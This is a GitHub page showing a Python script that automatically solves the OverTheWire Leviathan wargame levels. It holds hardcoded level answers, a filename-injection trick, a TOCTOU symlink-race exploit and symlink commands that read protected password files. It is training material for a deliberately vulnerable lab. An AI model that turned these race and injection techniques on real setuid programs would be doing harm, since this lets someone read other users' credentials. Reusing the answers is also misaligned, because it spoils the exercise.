-
Notifications
You must be signed in to change notification settings - Fork 0
/
leviathan.py
107 lines (88 loc) · 3.01 KB
/
leviathan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
"""Implementations of solutions for Leviathan OTW levels."""
import functools
import textwrap
import solver_util
_get_password_from_shell = functools.partial(
solver_util.get_password_from_shell,
password_file_cbk=lambda lvl: '/etc/leviathan_pass/leviathan%d' % lvl)
class Solver(solver_util.AbstractSolver):
"""Solver for the Leviathan OTW levels."""
@classmethod
def username(cls, level):
return 'leviathan{}'.format(level)
@property
def host(cls):
return 'leviathan.labs.overthewire.org'
@property
def port(self):
return 2223
def level0(self, proc):
# Single line is wrapped in the output (likely terminal width limitation)
proc.sendline('grep -o "the password for leviathan1 is [^\\"]*" \\\n'
'~/.backup/bookmarks.html | cut -d" " -f6')
proc.expect(r'\$ ')
return proc.before.splitlines()[2]
@_get_password_from_shell
def level1(self, proc):
proc.sendline('~/check')
proc.expect('password: ')
proc.sendline('sex')
def level2(self, proc):
proc.sendline('mkdir -p "/tmp/mss /etc/leviathan_pass/leviathan3" && '
'touch /tmp/mss && '
'./printfile "/tmp/mss /etc/leviathan_pass/leviathan3"')
proc.expect(r'\$ ')
return proc.before.splitlines()[2]
def level2_alt(self, proc):
"""Implements a TOCTOU solution to level2."""
proc.sendline(
textwrap.dedent("""
exploit() {
TEMP=`mktemp -d`
chmod +rx "$TEMP"
SYM="$TEMP/foo"
DUMMY="$TEMP/bar"
PWORD=/etc/leviathan_pass/leviathan3
flip_symlink() {
touch "$DUMMY"
while true; do
ln -sf "$PWORD" "$SYM";
ln -sf "$DUMMY" "$SYM";
done;
}
retry_printfile() {
RESULT=
while [[ ! "$RESULT" ]]; do
RESULT=`~/printfile "$SYM" | grep -v "You cant"`
done
echo $RESULT
}
# Run in subshell to suppress PID output
{ flip_symlink & } 2> /dev/null
PID=$!
retry_printfile
kill "$PID"
}
""").strip())
proc.expect(r'\$ ')
proc.sendline('exploit')
proc.expect(r'\$ ')
return proc.before.splitlines()[1]
@_get_password_from_shell
def level3(self, proc):
proc.sendline('~/level3')
proc.expect('Enter the password> ')
proc.sendline('snlprintf')
def level4(self, proc):
proc.sendline('.trash/bin | rax2 -b')
proc.expect(r'\$ ')
return proc.before.splitlines()[1]
def level5(self, proc):
proc.sendline('ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log')
proc.expect(r'\$ ')
proc.sendline('./leviathan5')
proc.expect(r'\$ ')
return proc.before.splitlines()[1]
@_get_password_from_shell
def level6(self, proc):
proc.sendline('./leviathan6 7123')